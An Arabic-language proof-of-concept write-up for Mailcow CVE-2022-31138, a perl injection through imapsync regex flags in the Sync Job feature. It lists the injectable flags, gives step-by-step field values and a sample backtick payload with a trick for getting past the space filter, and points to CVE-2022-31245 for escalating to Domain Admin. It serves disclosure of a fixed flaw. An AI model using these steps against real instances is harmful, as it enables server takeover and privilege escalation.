
استغلال إثبات مفهوم لـ Mailcow CVE-2022-31138 يتيح تنفيذ التعليمات البرمجية عن بُعد عبر حقن كود perl في حقول regex لمزامنة المهام، مع تصعيد الامتيازات إلى مسؤول النطاق.
تصعيد صلاحيات RCE ومسؤول النطاق لـ Mailcow. يمكن تعديل POC لـ CVE-2022-31245 للعمل مع هذه الثغرة.
تم الإبلاغ والإصلاح: 2022-06
النوع: حقن الكود (CWE-94)، RCE، السيطرة على النطاق
الإصدارات المتأثرة: من 2019 حتى 2022-06a
يوجد عيب في جميع إصدارات Mailcow الحديثة حيث يمكن لمستخدم عادي في النظام استغلال ميزة "Sync Job" للحصول على شل باستخدام حقن كود perl في حقل regex عشوائي في imapsync. باستخدام هذا الاستغلال، يمكن للمهاجم بعد ذلك التنقل بسهولة إلى قاعدة البيانات ورفع الامتيازات إلى دور "Domain Admin" في Mailcow.
يتضمن هذا الاستغلال الاستمرارية بشكل افتراضي لأن Sync Jobs تعمل على مؤقت.
يخترق هذا الاستغلال مثيل Mailcow بأكمله. تم اختباره ويعمل على أحدث إصدار حتى 2022-06a.
يتم تقييم جميع تعبيرات regex تقريبًا في imapsync باستخدام دالة eval، وهذا غير آمن للغاية عندما يتم توفير المعلمات بواسطة إدخال المستخدم. كمثال، إليك كيفية تحليل --regexmess في imapsync (السطر 14213):
sub regexmess
{
my ( $string ) = @_ ;
foreach my $regexmess ( @regexmess ) {
$sync->{ debug } and myprint( "eval \$string =~ $regexmess\n" ) ;
my $ret = eval "\$string =~ $regexmess ; 1" ;
في Mailcow، يتم إعطاء $regexmess كإدخال من المستخدم.
يمكن استخدام علامات imapsync التالية (قد يكون هناك المزيد) لتحقيق تنفيذ الكود:
--regexmess
--skipmess
--regexflag
--delete2foldersonly
--delete2foldersbutnot
--regextrans2
باستخدام الخطوات أدناه، يمكن إعادة إنشاء الثغرة.
الحصول على شل:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --regexmess=PERL_CODE
حيث حقل "Custom Parameters" هو الحقل المهم. يمكن أن يكون PERL_CODE أي كود perl.مثال لحمولة Custom Parameters:
--debug --nosslcheck --regexmess=`touch\x{0020}test.txt`
لا يمكن أن يحتوي PERL_CODE على مسافات أو علامات اقتباس أو شرطات مائلة، استخدم \x{0020} بدلاً من المسافة. استخدم ` لتشغيل أوامر shell.
تصعيد الامتيازات:
اتبع نفس الخطوات كما في CVE-2022-31245.